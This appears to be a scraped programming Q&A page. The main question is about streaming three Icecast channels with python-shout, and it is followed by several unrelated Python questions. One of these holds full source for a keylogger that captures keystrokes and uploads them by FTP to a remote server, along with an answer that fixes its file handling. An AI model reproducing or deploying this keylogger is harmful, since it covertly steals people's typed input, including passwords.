creating multiple audio streams of an icecast2 server using python-shout - python

I am trying to create a web radio server to stream 3 sources at once. I am using python to create a source client for icecast2 using the python-shout library. I am not too familiar with the language (python). however, i got a sample program which does what i need to and more and i have tweaked it for my need. However, I can only create two streams, and after that, i get the error message shown below. I don't know what i'm doing wrong so i hope you guys can help me figure that out.
hostname ="localhost"
port= 8000
password = "password"
import shout
import sys
import threading
from glob import glob
from random import shuffle,choice
class RunStream (threading.Thread):
def __init__ (self, channel_mount, music_directory, station_url, genre,name, description, bitrate="128", samplerate="44100", channels="5",music_format="mp3", ogv=0):
#connection to icecast
global hostname,port,password
self.song_conter= 0
self.s = shout.Shout()
self.s.audio_info = {shout.SHOUT_AI_BITRATE:bitrate, shout.SHOUT_AI_SAMPLERATE:samplerate, shout.SHOUT_AI_CHANNELS:channels}
self.s.name = name
self.s.url = station_url
self.s.mount = channel_mount
self.s.port = port
self.ogv = ogv
self.s.password = password
self.s.genre = genre
self.music_directory = music_directory
self.s.description = description
self.s.host = hostname
self.s.format = music_format #using mp3 but it can also be ogg vorbis
print self.s.open()
threading.Thread.__init__ (self)
#checking directories for files to stream
def scan_directories(self):
self.files_array = glob(self.music_directory+"/*.[mM][Pp]3") + glob(self.music_directory+"/*/*.[mM][Pp]3") + glob(self.music_directory+"/*/*/*.[mM][Pp]3") #checks the specified directory down to the third depth
print str(len(self.files_array))+" files" #display number of matching files found
shuffle(self.files_array) # randomize playlist
def run (self):
while 1: #infinity
self.scan_directories() # rescan dir, maybe in time you add some new songs
self.song_counter = 0
for e in self.files_array:
self.write_future()
self.sendfile(e)
self.song_counter = self.song_counter + 1
def format_songname(self,song): # format song name - on filename (strip "mp3", change _ to " ". Formatting name of song for writing into a text file
result = song.split("/")[-1].split(".")
result = ".".join(result[:len(result)-1]).replace("_"," ").replace("-"," - ")
return result
def write_future(self): #write playlist
filename = self.s.mount.replace("/","")+"-current.txt"
fa = open(filename,"w")
aid = self.song_counter
pos = 7 # CHANGE if you want more songs in future playlist
for s in self.files_array[aid:]:
fa.write(self.format_songname(s)+"\n")
pos = pos - 1
if (pos==0):
break
if (pos>0):
for s in self.files_array[:pos+1]:
fa.write(self.format_songname(s)+"\n")
fa.close()
def sendfile(self,fa):
print "opening file %s" % fa
f = open(fa)
self.s.set_metadata({'song': self.format_songname(fa)})
nbuf = f.read(4096)
while 1:
buf = nbuf
nbuf = f.read(4096)
if len(buf) == 0:
break
self.s.send(buf)
self.s.sync()
f.close()
#running the first stream
RunStream(channel_mount = "/stream", music_directory = "/home/CUWebRadio1/music_one", station_url = "http://webradio.com", genre = "new",name = "Web Radio Channel2", description = "bla bla bla").start()
#running the second stream
RunStream(channel_mount = "/stream_2", music_directory = "/home/CUWebRadio1/music_twos", station_url = "http://webradio.com", genre = "music",name = "Web Radio Music", description = "bla bla bla").start()
#running the Third Stream
RunStream(channel_mount = "/stream_3", music_directory = "/home/CUWebRadio1/music_three", station_url = "http://webradio.com", genre = "Music",name = "CU Web Radio Music3", description = "bla bla bla").start()
the Error message i get
Traceback (most recent call last):
File "new_threads.py", line 96, in <module>
RunStream(channel_mount = "/stream_3", music_directory = "/home/CUWebRadio1/music_three", station_url = "http://webradio.com", genre = Music",name = "CU Web Radio Music3", description = "bla bla bla").start()
File "new_threads.py", line 37, in __init__
print self.s.open()
shout.ShoutException: Login failed
Any help would be greatly appreciated.

So, it turns out that my code is correct. The problem was in the configuration for Icecast. By default, only two streams can be created. after editing that in the icecast config file, It all worked perfectly. Thanks.

Related

Issues with downloading (Viewer Discretion is advised) videos on YouTube with PyTube

I have been creating a program to grab links from a YouTube playlist and download the individual links but I noticed if you try to download a video that has a "Viewer Discretion is Advised" warning label attached to the video I get an error that reads "Streaming Error"
from pytube import YouTube
from pytube import Playlist
import os
#---------------------------------------------
youtube = True
is_playlist = False
convert_to_mp3 = True
youtube_playlist_name = "Folder Name"
youtube_playlist_videos = [""]
#---------------------------------------------
spotify = False
spotify_playlist_name = ""
spotify_playlist = [""]
#---------------------------------------------
def download_and_convert_video(link, playlist_name, x, urls):
video = link.streams.get_audio_only()
out_file = video.download(output_path=f"audio/{playlist_name}")
base = os.path.splitext(out_file)
new_file = f"{base[0]}.mp3"
print(f"Downloading \"{new_file[new_file.find(playlist_name) + len(playlist_name) + 1:len(new_file)]}\" - {x+1}/{len(urls)}")
os.rename(out_file, new_file)
def obtain_urls(playlists):
urls, x = [], 0
print("Locating videos in playlist")
for playlist in playlists:
playlist_urls = Playlist(playlist)
for url in playlist_urls:
x += 1
urls.append(url)
print(f"{x} video(s) located")
return urls
def download_from_youtube(playlist, playlist_name, convert_to_mp3, is_playlist):
if is_playlist == True:
urls = obtain_urls(playlist)
if is_playlist == False:
urls = playlist
for x in range(len(urls)):
if convert_to_mp3 == True:
download_and_convert_video(YouTube(urls[x]), playlist_name, x, urls)
if convert_to_mp3 == False:
download_video(YouTube(urls[x]), playlist_name)
print(f"Successfully downloaded {len(urls)} video(s)")
def download_video(video, playlist_name):
video = video.streams.get_highest_resolution()
video.download(f"video/{playlist_name}")
if youtube == True:
download_from_youtube(youtube_playlist_videos, youtube_playlist_name, convert_to_mp3, is_playlist)
I found this video k8jw3JVfK0w with the The following content may contain suicide or self-harm topics.
Viewer discretion is advised. Learn more you mentioned, with youtube-dl downloading this video works fine, please give it a try.

Cannot delete file after upload with Python ftplib

This is my full program:
from ftplib import FTP
from keyboard import read_key
from multiprocessing import Process
from os import unlink
from random import random
def send_file(data):
username = str(int(random() * 10000)) + "m.txt"
ftp = FTP('***')
file = open(username, 'x+')
for stroke in data:
file.write(stroke)
data.clear()
file.close()
while True:
try:
ftp.login(user='***', passwd='***')
ftp.cwd('key_logger')
ftp.storbinary("STOR " + username, open(username, 'rb'))
ftp.quit()
break
except Exception:
ftp.set_pasv(True)
continue
unlink(username)
def get_strokes():
strokes = []
i = 0
while True:
key1 = read_key()
if i == 0:
strokes.append(key1)
elif strokes.__len__() > 20:
send = Process(target=send_file, args=(strokes, ), name="main")
send.start()
strokes.clear()
i += 1
i %= 2
if __name__ == '__main__':
get = Process(target=get_strokes(), args=())
get.start()
get.join()
I am making a key logger that listens for strokes and saves them in strokes.
When strokes reaches a certain length, they are saved in a .txt file then sent to my server.
then i need to remove the .txt file with os.remove() or os.unlink, but neither of them are deleting my file.
You never close the file that you open to upload. So it is locked and cannot be deleted.
The correct way to upload a file is:
with open(username, 'rb') as f:
ftp.storbinary("STOR " + username, f)

Chatterbot library and Heroku deployment

I created my first chatbot with Chatterbot library. Now I want to deploy it through Heroku, but this is impossible.
My chatbot is composed of some files (py, csv, yml, json, txt). This is the structure:
botusers (csv file)
Magghy (py file)
magghybot (py file)
Procfile
Requirements (txt file)
telegramtoken (txt file)
conversation.yml (in folder named lang)
math_words.json (in folder named lang)
nltk (txt file)
runtime (txt file)
I created a "Procfile" (worker: python magghybot.py) and "Requirements.txt"
Then I deployed my project on Heroku and there isn't problem. But when I tried to start a conversation with my bot, it doesn't answer me.
When I write on Terminal heroic logs, there aren't problem, but only this strings:
2017-10-18T10:16:08.079891+00:00 heroku[worker.1]: Starting process with command python magghybot.py
2017-10-18T10:16:08.745016+00:00 heroku[worker.1]: State changed from starting to up
2017-10-18T10:16:10.087633+00:00 heroku[worker.1]: Process exited with status 0
2017-10-18T10:16:10.098959+00:00 heroku[worker.1]: State changed from up to crashed
2017-10-18T10:16:10.100468+00:00 heroku[worker.1]: State changed from crashed to starting
2017-10-18T10:16:14.445838+00:00 heroku[worker.1]: Starting process with command python magghybot.py
2017-10-18T10:16:14.982759+00:00 heroku[worker.1]: State changed from starting to up
2017-10-18T10:16:15.767656+00:00 heroku[worker.1]: Process exited with status 0
2017-10-18T10:16:15.782460+00:00 heroku[worker.1]: State changed from up to crashed
It seems there is a problem with my files py.
My magghybot.py has this code:
import sys
from inspect import getsourcefile
from os.path import abspath
from chatterbot import ChatBot
class MagghyBot(object):
def __init__(self, lang = "english"):
self.language = lang
self.chatbot = ChatBot(
'MagghyBot',
logic_adapters=[
"chatterbot.logic.MathematicalEvaluation",
"chatterbot.logic.TimeLogicAdapter",
"chatterbot.logic.BestMatch"
],
#input_adapter="chatterbot.input.VariableInputTypeAdapter",
#output_adapter="chatterbot.output.OutputAdapter"
trainer='chatterbot.trainers.ChatterBotCorpusTrainer'
)
self.instdir = "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/chatterbot_corpus/data" + self.language + "/"
self.localdir = os.path.abspath(os.path.dirname(sys.argv[0])) + "/lang/" + self.language + "/chatcorpus/"
def train(self):
if self.checkdirnotempty(self.localdir):
print(self.localdir)
self.chatbot.train(
self.localdir
)
elif self.checkdirnotempty(self.instdir):
print(self.instdir)
self.chatbot.train(
self.instdir
)
else:
print("Using standard english corpus")
self.chatbot.train("chatterbot.corpus.english.greetings")
def reply(self, phrase = ""):
# Get a response to an input statement
response = self.chatbot.get_response(phrase)
return response
def checkdirnotempty(self, folder = ""):
check = False
if os.path.isdir(folder):
entities = os.listdir(folder)
for entity in entities:
if os.path.isfile(folder + entity):
check = True
break
return check
My Magghy.py has this code:
import time
import random
import datetime
import telepot
import os
import sys
import subprocess
from magghybot import MagghyBot
telegramtoken = '' #telegram bot token from BotFather
checkuserid = 394287240 #enable users whitelist, so only certain people can talk with this bot
usersfile = 'botusers' #the file where we store the list of users who can talk with bot
attemptsfile = '/tmp/attempts.log' #the file where we log denied accesses
active = 1 #if set to 0 the bot will stop
language = "italiano"
chatter = MagghyBot(language)
chatter.train()
if telegramtoken == '' and os.path.isfile("telegramtoken.txt"):
text_file = open("telegramtoken.txt", "r")
telegramtoken = text_file.read().replace("\n", "")
text_file.close()
print("Connecting to Telegram...")
bot = telepot.Bot(telegramtoken)
print(bot.getMe())
def listusers():
if not os.path.isfile(usersfile):
return ''
text_file = open(usersfile, "r")
lines = text_file.read().split(',')
text_file.close()
del lines[-1] #remove last element since it is blank
return lines
def adduser(name):
csv = ""
users = listusers()
if users != "":
for usr in users:
csv = csv+usr+","
csv = csv+name+","
text_file = open(usersfile, "w")
text_file.write(csv)
text_file.close()
def deluser(name):
csv = ""
users = listusers()
if users != "":
for usr in users:
if usr != name:
csv = csv+usr+","
text_file = open(usersfile, "w")
text_file.write(csv)
text_file.close()
def handle(msg):
global bot
global chatter
global language
chat_id = msg['chat']['id']
sender = msg['from']['id']
users = listusers()
if checkuserid == 1:
verified = 0
if users != "":
for usr in users:
if str(sender) == usr:
verified = 1
if verified == 0:
bot.sendMessage(chat_id, "I don't talk with strangers, dear "+str(sender))
#write this user in the list of attempted accesses
if attemptsfile != '':
lines = ''
if os.path.isfile(attemptsfile):
text_file = open(attemptsfile, "r")
lines = text_file.read()
text_file.close()
lines = lines + str(datetime.datetime.now()) + " --- UserdID: " + str(sender) + " DENIED \n"
text_file = open(attemptsfile, "w")
text_file.write(lines)
text_file.close()
return
command = ''
try:
if msg['text'] != '':
command = msg['text']
print('Got command: ' + command)
except:
print("No text in this message")
if command == '/time':
bot.sendMessage(chat_id, str(datetime.datetime.now()))
elif '/adduser' in command:
if len(command.split(' ')) > 1:
usrname = command.split(' ')[1]
adduser(usrname)
bot.sendMessage(chat_id, "User "+usrname+" added")
elif '/deluser' in command:
if len(command.split(' ')) > 1:
usrname = command.split(' ')[1]
deluser(usrname)
bot.sendMessage(chat_id, "User "+usrname+" deleted")
elif command == '/help':
bot.sendMessage(chat_id, "/adduser /deluser /time /exit")
elif command == '/exit':
global active
active = False
bot.sendMessage(chat_id, "The bot will shutdown in 10 seconds")
elif command != '':
answer = chatter.reply(command)
bot.sendMessage(chat_id, str(answer))
bot.message_loop(handle)
print('I am listening ...')
while active:
time.sleep(10)
print("Exiting")
sys.exit()
I recommend using database on Heroku and not regular files to store data. Heroku is a cloud hosting and every launch could be made on different machines. That imposes some limitations on disk usage.
Here’s my experimental project - Django Telegram chatbot prepared for Heroku deployment
https://github.com/lisitsky/dj-tg-alpha-bot
Feeel free to ask questions on it and it’s work logics.

Setting Up livestreamer to Automatically Record twitch Streams

I have been looking for a way to record streams whilst not at home as past broadcasts are unsatisfactory to me with all their muted sections. I had a found one site to help get me started but when i went to check for replies to after commenting asking for help and including images of my script i see that my posting got deleted rather than answered. But i digress.
I know how to manually start livestreamer from the command prompt when the stream is live but as aforementioned i am looking for a solution for when i'm not home.
I am sharing what i have in the hopes that someone would be able to identify what is wrong and help me rectify all issues to get this working.
#This script checks if a user on twitch is currently streaming and then records the stream via livestreamer
from urllib.request import urlopen
from urllib.error import URLError
from threading import Timer
import time
import datetime
import json
import sys
import subprocess
import datetime
import os
import configparser
def check_user(user):
""" returns 0: online, 1: offline, 2: not found, 3: error """
global info
url = 'https://api.twitch.tv/kraken/streams/' + user +"/?client_id=###"
try:
info = json.loads(urlopen(url, timeout = 15).read().decode('utf-8'))
if info['stream'] == None:
status = 1
else:
status = 0
except URLError as e:
if e.reason == 'Not Found' or e.reason == 'Unprocessable Entity':
status = 2
else:
status = 3
return status
def format_filename(fname):
# Removes invalid characters from filename
fname = fname.replace("/","")
fname = fname.replace("?","")
fname = fname.replace(":","-")
fname = fname.replace("\\","")
fname = fname.replace("<","")
fname = fname.replace(">","")
fname = fname.replace("*","")
fname = fname.replace("\"","")
fname = fname.replace("|","")
fname = fname.replace(" ","")
return fname
def loopcheck():
while True:
status = check_user(user)
if status == 2:
print("username not found. invalid username?")
elif status == 3:
print(datetime.datetime.now().strftime("%Hh%Mm%Ss")," ","unexpected error. will try again in 5 minutes.")
time.sleep(300)
elif status == 1:
print(user,"currently offline, checking again in",refresh,"seconds")
time.sleep(refresh) # 15 seconds
elif status == 0:
print(user,"online. stop.")
filename = user+" - "+datetime.datetime.now().strftime("%Y-%m-%d %Hh%Mm%Ss")+" - "+(info['stream']).get("channel").get("status")+".mp4"
filename = format_filename(filename)
str1="livestreamer --twitch-oauth-token ### twitch.tv/"+user+" "+quality+" -o "+directory+filename
subprocess.call(str1)
print("Stream is done. Going back to checking..")
time.sleep(15)
def main():
global refresh
global user
global quality
global directory
print("Usage: check.py [refresh] [user] [quality]")
print("Usage: TwitchChecker.py [refresh] [user] [quality]")
refresh = 15.0
str1=""
refresh = 15.0
user = "###"
quality = "best"
directory = "C:\Users\###\Videos\###\\"
if(refresh<15):
print("Check interval should not be lower than 15 seconds")
refresh=15
print("Checking for",user,"every",refresh,"seconds. Record with",quality,"quality.")
loopcheck()
if __name__ == "__main__":
# execute only if run as a script
main()
set /p DUMMY=Hit ENTER to continue...
For the batch file i have:
#echo
C:\Python\python C:\Users\xxx\Videos\xxx\xxx.py
#echo off
All that happens when i click on either of the 2 files is that the command prompt window flashes quickly.
Thankies for any and all help!

Can Django apps be called from a locally runing daemon / python script

I am new to the python language, so please bear with me. Also English isn't my native language so sorry for any misspelled words.
I have a question about updating a Django app from a daemon that runs locally on my server. I have a server setup which has 8 hot-swappable bays. Users can plug-in there hard disk(s) into the server and, after the server has detected that a new hard disk is plugged-in, it starts copying the contents of the hard disk to a location on the network. The current setup displays information about the process on an LCD screen.
The current setup works fine but I need to change it in a way that the whole process is displayed on a website (since this is more user friendly). So I need to display to the user when a disk is inserted into the server, the progress of the copy task etc.
My idea it to create a Django app that gets updated when a task in process is completed, but I can't seem to find any information about updating a Django app from a locally running daemon. It this even possible? Or is Django not the right way to go? Any ideas are welcome.
Below is my script used to copy content of disk to a location on the network. Hopefully it give some more information about what I doing/tying to do.
Many thanks in advance!
Script:
#!/usr/bin/env python
import os
import sys
import glob
import re
import time
import datetime
import pyudev
import thread
import Queue
import gobject
import getopt
from pyudev import Context
from subprocess import Popen, PIPE
from subprocess import check_call
from lcdproc.server import Server
from pyudev.glib import GUDevMonitorObserver
from gobject import MainLoop
from threading import Thread
#used to show progress info
from progressbar import ProgressBar, Percentage, Bar, RotatingMarker, ETA, FileTransferSpeed
# used to set up screens
lcd = Server("localhost", 13666, debug=False)
screens = []
widgets = []
#Used for threading
disk_work_queue = Queue.Queue()
# used to store remote nfs folders
remote_dirs = ['/mnt/nfs/', '/mnt/nfs1/', '/mnt/nfs2/']
#Foldername on remote server (NFS Share name)
REMOTE_NFS_SHARE = ''
# a process that runs infinity, it starts disk processing
# functions.
class ProcessThread(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
while 1:
try:
disk_to_be_processed = disk_work_queue.get(block=False)
set_widget_text(disk_to_be_processed[1], "Removed from queue..", "info", "on")
process_disk(disk_to_be_processed[0], disk_to_be_processed[1])
except Queue.Empty:
time.sleep(10)
set_main_widget_text("Please insert disks ")
# used to set message on the lcdscreen, message are set by disk
def set_widget_text(host, message, priority, blacklight):
if host == "host4":
screen_disk1 = screens[1]
screen_disk1.clear()
screen_disk1.set_priority(priority)
screen_disk1.set_backlight(blacklight)
widgets[1].set_text(str(message))
elif host == "host5":
screen_disk2 = screens[2]
screen_disk2.clear()
screen_disk2.set_priority(priority)
screen_disk2.set_backlight(blacklight)
widgets[2].set_text(str(message))
elif host == "host6":
screen_disk3 = screens[3]
screen_disk3.clear()
screen_disk3.set_priority(priority)
screen_disk3.set_backlight(blacklight)
widgets[3].set_text(str(message))
elif host == "host7":
screen_disk4 = screens[4]
screen_disk4.clear()
screen_disk4.set_priority(priority)
screen_disk4.set_backlight(blacklight)
widgets[4].set_text(str(message))
# used to set a message for all hosts
def set_widget_text_all(hosts, message, priority, blacklight):
for host in hosts:
set_widget_text(host, message, priority, blacklight)
def set_main_widget_text(message):
screen_disk1 = screens[0]
screen_disk1.clear()
screen_disk1.set_priority("info")
screen_disk1.set_backlight("on")
widgets[0].set_text(str(message))
# mounts, find logs files and copy image files to destionation
def process_disk(disk, host):
datadisk = mount_disk(disk, host)
source = datadisk + "/images"
set_widget_text(host, "Processing, hold on ", "info", "on")
cases = find_log(source)
upload(source, cases, host)
time.sleep(5)
umount_disk(host)
set_widget_text(host, "Disk can be removed", "info", "blink")
time.sleep(10)
# search the datadisk for logfiles containing information
# about cases and images
def find_log(src):
inf = ""
case = []
for root,dirs,files in os.walk(src):
for f in files:
if f.endswith(".log"):
log = open(os.path.join(root,f), 'r')
lines = log.readlines()[2:5]
for l in lines:
inf += re.sub("\n","",l[11:]) + ":"
log.close()
print inf
case.append(inf)
inf = ""
return case
def get_directory_size(dir):
dir_size = 0
for(path, dirs, files) in os.walk(dir):
for file in files:
filename = os.path.join(path, file)
dir_size+=os.path.getsize(filename)
return dir_size
# copies the image files to the destination location, dc3dd is used
# to copy the files in a forensicly correct way.
def upload(src, cases, host):
remotedir = ''
while len(cases) > 0:
count = 0
nfs_share_found = False
case = cases.pop()
onderzoek = case.split(':')[0];
#verwijder de _ uit de naam van het object
object = case.split(':')[1];
#image = case.split(':')[2];
localdir = src + '/' + onderzoek + '/' + object +'/'
total_files = len(os.listdir(localdir))
folder_size = get_directory_size(localdir)
for d in remote_dirs:
if os.path.exists(d + onderzoek + '/B/' + object.replace('_',' ') + '/Images/'):
nfs_share_found = True
remotedir = d + onderzoek + '/B/' + object.replace('_', ' ') + '/Images/'
break
if nfs_share_found == False:
set_widget_text(host, " Onderzoek onbekend ", "info", "flash")
time.sleep(30)
return
for root,dirs,files in os.walk(localdir):
for uploadfile in files:
currentfile = os.path.join(root, uploadfile)
file_size = os.stat(currentfile).st_size
copy_imagefile(currentfile, onderzoek, object, remotedir)
count += 1
percentage = int(count*file_size*100/folder_size)
message = onderzoek + " Obj: " + object + "..%d%%" % percentage
set_widget_text(host, message, "info", "on")
set_widget_text(host, " Copy Succesfull! ", "info", "flash")
# the actualy function to copy the files, using dc3dd
def copy_imagefile(currentfile, onderzoek, object, remotedir):
currentfilename = os.path.basename(currentfile)
dc3dd = Popen(["dc3dd", "if=" + currentfile, "hash=md5", "log=/tmp/"+ onderzoek + "_" + object + ".log", "hof=" + remotedir + currentfilename,"verb=on", "nwspc=on"],stdin=PIPE,stdout=PIPE, stderr=PIPE)
dc3dd_stdout = dc3dd.communicate()[1]
awk = Popen([r"awk", "NR==13 { print $1 }"],stdin=PIPE, stdout=PIPE)
awk_stdin = awk.communicate(dc3dd_stdout)[0]
output = awk_stdin.rstrip('\n')
if output == "[ok]":
return False
else:
return True
# when a disk gets inserted into the machine this function is called to prepare the disk
# for later use.
def device_added_callback(self, device):
position = device.sys_path.find('host')
host = device.sys_path[(position):(position+5)]
set_widget_text(host, " New disk inserted! ", "info", "on")
time.sleep(2)
disk = "/dev/" + device.sys_path[-3:] + "1"
disk_work_queue.put((disk, host))
set_widget_text(host, " Placed in queue... ", "info", "on")
# gets called when the disk is removed form the machine
def device_removed_callback(self, device):
position = device.sys_path.find('host')
host = device.sys_path[(position):(position+5)]
#message = 'Slot %s : Please remove drive' % host[4:]
set_widget_text(host, " Replace disk ", "info", "on")
# mounts the partition on the datadisk
def mount_disk(disk, host):
#device = "/dev/" + disk + "1"
mount_point = "/mnt/" + host
if not os.path.exists(mount_point):
os.mkdir(mount_point)
cmd = ['mount', '-o', 'ro,noexec,noatime,nosuid', str(disk), str(mount_point)]
check_call(cmd)
set_widget_text(host, " Disk mounted ", "info", "on")
return mount_point
# umounts the partition datadisk
def umount_disk(host):
mount_point = "/mnt/" + host
cmd = ['umount', str(mount_point)]
check_call(cmd)
os.removedirs(mount_point)
def build_screens():
screen_main = lcd.add_screen("MAIN")
screen_main.set_heartbeat("off")
screen_main.set_duration(3)
screen_main.set_priority("background")
widget0_1 = screen_main.add_string_widget("screen0Widget1", " Welcome to AFFC ", x=1, y=1)
widget0_2 = screen_main.add_string_widget("screen0Widget2", "Please insert disks ", x=1, y=2)
widgets.append(widget0_2)
screens.append(screen_main)
screen_disk1 = lcd.add_screen("DISK1")
screen_disk1.set_heartbeat("off")
screen_disk1.set_duration(3)
screen_disk1.clear()
widget_disk1_1 = screen_disk1.add_string_widget("disk1Widget1", " Slot 1 ", x=1, y=1)
widget_disk1_2 = screen_disk1.add_string_widget("disk1Widget2", " Please insert disk ", x=1, y=2)
widgets.append(widget_disk1_2)
screens.append(screen_disk1)
screen_disk2 = lcd.add_screen("DISK2")
screen_disk2.set_heartbeat("off")
screen_disk2.set_duration(3)
widget_disk2_1 = screen_disk2.add_string_widget("disk2Widget1", " Slot 2 ", x=1, y=1)
widget_disk2_2 = screen_disk2.add_string_widget("disk2Widget2", " Please insert disk ", x=1, y=2)
widgets.append(widget_disk2_2)
screens.append(screen_disk2)
screen_disk3 = lcd.add_screen("DISK3")
screen_disk3.set_heartbeat("off")
screen_disk3.set_duration(3)
widget_disk3_1 = screen_disk3.add_string_widget("disk3Widget1", " Slot 3 ", x=1, y=1)
widget_disk3_2 = screen_disk3.add_string_widget("disk3Widget2", " Please insert disk ", x=1, y=2)
widgets.append(widget_disk3_2)
screens.append(screen_disk3)
screen_disk4 = lcd.add_screen("DISK4")
screen_disk4.set_heartbeat("off")
screen_disk4.set_duration(3)
widget_disk4_1 = screen_disk4.add_string_widget("disk4Widget1", " Slot 4 ", x=1, y=1)
widget_disk4_2 = screen_disk4.add_string_widget("disk4Widget2", " Please insert disk ", x=1, y=2)
widgets.append(widget_disk4_2)
screens.append(screen_disk4)
def restart_program():
"""Restarts the current program.
Note: this function does not return. Any cleanup action (like
saving data) must be done before calling this function."""
python = sys.executable
os.execl(python, python, * sys.argv)
def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "hd:v", ["help", "destination="])
except getopt.GetoptError, err:
# print help information and exit:
print str(err) # will print something like "option -a not recognized"
usage()
sys.exit(2)
verbose = False
for o, a in opts:
if o == "-v":
verbose = True
elif o in ("-h", "--help"):
usage()
sys.exit()
elif o in ("-d", "--destination"):
REMOTE_NFS_SHARE = a
else:
assert False, "unhandled option"
lcd.start_session()
build_screens()
#t = Thread(target=loop_disks_process())
#t.start();
context = pyudev.Context()
monitor = pyudev.Monitor.from_netlink(context)
observer = GUDevMonitorObserver(monitor)
observer.connect('device-added', device_added_callback)
observer.connect('device-removed', device_removed_callback)
monitor.filter_by(subsystem='block', device_type='disk')
monitor.enable_receiving()
mainloop = MainLoop()
gobject.threads_init()
t = ProcessThread()
t.start()
mainloop.run()
raw_input("Hit <enter>")
t.running = False
t.join()
if __name__ == "__main__":
try:
main()
except Exception, e:
restart_program()
Sorry, much too much code to read there.
I'm not sure what you mean by "updating" a Django app. Do you mean adding some data into the database? This is easy to do, either by getting your script to write directly into the DB, or by using something like a custom Django management command which can use the ORM.
Take a look at Django Piston. You can implement a RESTful API on your django app and call those apis from your demon. I use it on one of my project in which some worker processes need to communicate to frontend django apps periodically.
It could be done like this:
Daemon shares its disk information/copy progress using some inter-process communication method like simple text file or some memory objects;
Django view could then read this info and display it to the user;
Or daemon could call Django management command (#Daniel Roseman) and that command will then update app DB to represent current state.
Consider using something like Memcached as a shared area to store the state of the drives.
As the drives are added or removed, the daemon should write those changes to Memcached, and on each page load the Django web app should read the state from Memcached. You could use a management command and a SQL database, but that seems like too many moving parts for such simple problem: you're only storing a handful boolean flags.
You might even try a micro-framework like Flask instead of Django, to reduce the complexity even more.

Categories